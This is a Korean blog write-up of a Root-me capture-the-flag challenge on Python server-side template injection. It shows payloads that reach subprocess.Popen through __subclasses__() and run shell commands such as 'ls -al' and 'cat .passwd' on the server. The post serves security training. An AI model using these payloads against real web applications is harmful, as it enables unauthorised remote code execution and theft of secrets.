Wargame/Root-me = Web - Server

<Root-me> Python - Server-side Template Injection

지우친구 웅이 2022. 1. 15. 15:12

Python - Server-side Template Injection

title과 page content에 test를 입력하고 "Render your page!"를 눌러보면

 

문제 설명을 살펴보면

이 서비스로 웹 페이지를 만들 수 있다고 한다. 이 서비스를 이용하여 flag를 읽으라고 한다.

 

문제 제목에 나온 대로 SSTI 취약점을 이용하면 문제를 해결할 수 있다.

page content에 {{ 7*7 }}을 입력하면

7*7이 실행되어 49가 됨을 확인할 수 있다.

 

이는 웹 템플릿 엔진을 사용함을 뜻한다.

웹 템플릿 엔진은 웹 템플릿과 웹 콘텐츠 정보를 처리하는 목적으로 설계된 소프트웨어를 뜻한다.

 

이 SSTI 취약점을 이용하여 RCE와 연계할 수 있다.

RCE(Remote Code Execute)는 원격 코드 실행으로 어떠한 시스템에 접근하여 명령어를 실행할 수 있는 취약점이다.

일반적으로 os.system 함수로는 결과값을 특정 변수에 저장하는 목적으로 사용하기에 적합하지 않아, 셸 명령어의 결과를 출력할 수 없다.(명령 실행 결과의 성공 유무를 반환)

이를 보안하기 위해 Python에는 Subprocess 모듈이 있다.

 

Subprocess 모듈을 사용하면 새 프로세스를 생성하고 해당 입력/출력/오류 파이프에 연결하고 반환 코드를 얻을 수 있다. 프로세스 생성과 관리 모듈은 내부적으로 Popen 클래스를 통해서 관리한다.

 

content에 

{{ ''.__class__.__mro__[1].__subclasses__() }}

를 입력하면 Python의 기본 클래스에서 상속된 모든 클래스를 가져온다.

 

이 클래스들 중 subprocess.Popen 클래스를 찾아야 한다. subprocess.Popen은 서버 환경에 따라 배열의 위치가 달라지므로 클래스를 찾는다.

{{' '.__class__.__mro__[1].__subclasses__()[408] }}

위를 content에 입력하면

{{' '.__class__.__mro__[1].__subclasses__()[408] ('ls -al',shell=True,stdout=-1).communicate()}}

제일 앞 자리는 실행할 명령어를 입력한다.

shell=True로 설정되면, 서브 프로세스로 주어진 명령을 바로 실행하는 것이 아닌, 별도의 서브 셸을 실행하고 해당 셸 위에서 명령을 실행하도록 한다.

communicate() 메서드는 자식 프로세스의 출력을 읽어오고 자식 프로세스가 종료할 때까지 대기한다.

위 구문을 content에 입력하면

현재 경로의 파일들이 보인다.

 

이 중 .passwd를 살펴보기 위해

{{' '.__class__.__mro__[1].__subclasses__()[408] ('cat .passwd',shell=True,stdout=-1).communicate()}}

content에 입력하면

비밀번호를 획득할 수 있다.